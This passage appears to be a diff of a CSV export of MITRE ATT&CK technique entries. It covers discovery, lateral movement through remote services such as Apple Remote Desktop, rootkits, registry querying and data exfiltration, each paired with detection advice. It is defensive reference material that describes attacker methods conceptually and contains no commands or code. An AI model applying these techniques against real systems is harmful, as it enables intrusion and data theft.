for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.",,,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1025', 'external_id': 'T1025'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,False,https://attack.mitre.org/techniques/T1025,mitre-attack,T1025,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Removable Media,"Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. +In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) -Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec,attack-pattern,['collection'],2020-03-24T15:44:46.584Z,2017-05-31T21:30:31.584Z,Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,"['File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,['Privileges to access removable media drive and files'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1021', 'url': 'https://attack.mitre.org/techniques/T1021'}, {'external_id': 'CAPEC-555', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html'}, {'source_name': 'SSH Secure Shell', 'url': 'https://www.ssh.com/ssh', 'description': 'SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.'}, {'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'source_name': 'TechNet Remote Desktop Services'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.1,False,https://attack.mitre.org/techniques/T1021,mitre-attack,T1021,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Services,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. +Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",['lateral-movement'],https://attack.mitre.org/techniques/T1021,mitre-attack,T1021,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Dan Borges, @1njection']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'Module: Module Load']",,"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. -In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)",attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba,attack-pattern,['lateral-movement'],2020-03-25T12:25:03.251Z,2017-05-31T21:30:29.858Z,Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'Module: Module Load']",,,,"['Linux', 'macOS', 'Windows']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,['Active remote service accepting connections and valid credentials'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1020', 'external_id': 'T1020'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.2,False,https://attack.mitre.org/techniques/T1020,mitre-attack,T1020,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Automated Exfiltration,"Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. +Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. -When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9,attack-pattern,['exfiltration'],2021-04-22T20:21:10.590Z,2017-05-31T21:30:29.458Z,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.,"['Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access']",['ExtraHop'],,,"['Linux', 'macOS', 'Windows', 'Network']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1018', 'url': 'https://attack.mitre.org/techniques/T1018'}, {'external_id': 'CAPEC-292', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/292.html'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",3.1,False,https://attack.mitre.org/techniques/T1018,mitre-attack,T1018,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote System Discovery,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. +In macOS, you can review logs for ""screensharingd"" and ""Authentication"" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)",False,,"['Linux', 'macOS', 'Windows']",,CAPEC-555,https://capec.mitre.org/data/definitions/555.html,['Active remote service accepting connections and valid credentials'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1020', 'external_id': 'T1020'}]",1.2,attack-pattern,attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:29.458Z,2021-08-16T15:23:38.940Z,Automated Exfiltration,"Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. -Specific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.",attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735,attack-pattern,['discovery'],2021-04-13T21:40:23.368Z,2017-05-31T21:30:28.187Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",['exfiltration'],https://attack.mitre.org/techniques/T1020,mitre-attack,T1020,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ExtraHop'],"['Command: Command Execution', 'Script: Script Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access']",,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.,False,,"['Linux', 'macOS', 'Windows', 'Network']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1018', 'external_id': 'T1018'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/292.html', 'external_id': 'CAPEC-292'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",3.2,attack-pattern,attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:28.187Z,2021-10-15T15:30:00.172Z,Remote System Discovery,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. +",['discovery'],https://attack.mitre.org/techniques/T1018,mitre-attack,T1018,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Stepanic, Elastic', 'RedHuntLabs, @redhuntlabs']","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'File: File Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'File: File Access']","['Daniel Stepanic, Elastic', 'RedHuntLabs, @redhuntlabs']",,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,CAPEC-292,https://capec.mitre.org/data/definitions/292.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1016', 'external_id': 'T1016'}, {'external_id': 'CAPEC-309', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/309.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1016,mitre-attack,T1016,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Network Configuration Discovery,"Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). +Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,CAPEC-292,https://capec.mitre.org/data/definitions/292.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1016', 'external_id': 'T1016'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/309.html', 'external_id': 'CAPEC-309'}]",1.3,attack-pattern,attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:27.342Z,2021-10-08T00:17:37.881Z,System Network Configuration Discovery,"Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). -Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0,attack-pattern,['discovery'],2021-04-24T13:13:49.594Z,2017-05-31T21:30:27.342Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",['discovery'],https://attack.mitre.org/techniques/T1016,mitre-attack,T1016,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution', 'Process: OS API Execution']",,,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-309,https://capec.mitre.org/data/definitions/309.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1014', 'url': 'https://attack.mitre.org/techniques/T1014'}, {'external_id': 'CAPEC-552', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html'}, {'url': 'https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf', 'description': 'Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.', 'source_name': 'Symantec Windows Rootkits'}, {'url': 'https://en.wikipedia.org/wiki/Rootkit', 'description': 'Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.', 'source_name': 'Wikipedia Rootkit'}, {'url': 'https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/', 'description': 'Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', 'source_name': 'CrowdStrike Linux Rootkit'}, {'url': 'http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf', 'description': ""Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017."", 'source_name': 'BlackHat Mac OSX Rootkit'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1014,mitre-attack,T1014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rootkit,"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['Linux', 'macOS', 'Windows']",,CAPEC-309,https://capec.mitre.org/data/definitions/309.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1014', 'external_id': 'T1014'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/552.html', 'external_id': 'CAPEC-552'}, {'source_name': 'Symantec Windows Rootkits', 'description': 'Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.', 'url': 'https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf'}, {'source_name': 'Wikipedia Rootkit', 'description': 'Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.', 'url': 'https://en.wikipedia.org/wiki/Rootkit'}, {'source_name': 'CrowdStrike Linux Rootkit', 'description': 'Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.', 'url': 'https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/'}, {'source_name': 'BlackHat Mac OSX Rootkit', 'description': ""Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017."", 'url': 'http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf'}]",1.1,attack-pattern,attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:26.496Z,2020-06-20T22:29:55.496Z,Rootkit,"Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) -Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b,attack-pattern,['defense-evasion'],2020-06-20T22:29:55.496Z,2017-05-31T21:30:26.496Z,"Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)","['Drive: Drive Modification', 'Firmware: Firmware Modification']",,"['File monitoring', 'Host intrusion prevention systems', 'Application control', 'Signature-based detection', 'System access controls', 'Application control by file name or path', 'Anti-virus']","['Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,CAPEC-552,https://capec.mitre.org/data/definitions/552.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1012', 'url': 'https://attack.mitre.org/techniques/T1012'}, {'external_id': 'CAPEC-647', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/647.html'}, {'url': 'https://en.wikipedia.org/wiki/Windows_Registry', 'description': 'Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.', 'source_name': 'Wikipedia Windows Registry'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1012,mitre-attack,T1012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Query Registry,"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. +Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",['defense-evasion'],https://attack.mitre.org/techniques/T1014,mitre-attack,T1014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Modification', 'Firmware: Firmware Modification']","['File monitoring', 'Host intrusion prevention systems', 'Application control', 'Signature-based detection', 'System access controls', 'Application control by file name or path', 'Anti-virus']","Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)",False,"['Administrator', 'SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,CAPEC-552,https://capec.mitre.org/data/definitions/552.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1012', 'external_id': 'T1012'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/647.html', 'external_id': 'CAPEC-647'}, {'source_name': 'Wikipedia Windows Registry', 'description': 'Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.', 'url': 'https://en.wikipedia.org/wiki/Windows_Registry'}]",1.2,attack-pattern,attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:25.584Z,2020-03-26T18:08:20.049Z,Query Registry,"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. -The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896,attack-pattern,['discovery'],2020-03-26T18:08:20.049Z,2017-05-31T21:30:25.584Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",['discovery'],https://attack.mitre.org/techniques/T1012,mitre-attack,T1012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access', 'Process: OS API Execution']",,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,CAPEC-647,https://capec.mitre.org/data/definitions/647.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1011', 'external_id': 'T1011'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.1,False,https://attack.mitre.org/techniques/T1011,mitre-attack,T1011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Other Network Medium,"Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. +Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']",['Windows'],,CAPEC-647,https://capec.mitre.org/data/definitions/647.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1011', 'external_id': 'T1011'}]",1.1,attack-pattern,attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:25.159Z,2020-03-28T00:35:24.570Z,Exfiltration Over Other Network Medium,"Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. -Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network",attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87,attack-pattern,['exfiltration'],2020-03-28T00:35:24.570Z,2017-05-31T21:30:25.159Z,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. +Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network",['exfiltration'],https://attack.mitre.org/techniques/T1011,mitre-attack,T1011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itzik Kotler, SafeBreach']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. -Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']","['Itzik Kotler, SafeBreach']",,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1010', 'external_id': 'T1010'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,False,https://attack.mitre.org/techniques/T1010,mitre-attack,T1010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application Window Discovery,Adversaries may attempt to get a listing of open application windows. Window listings 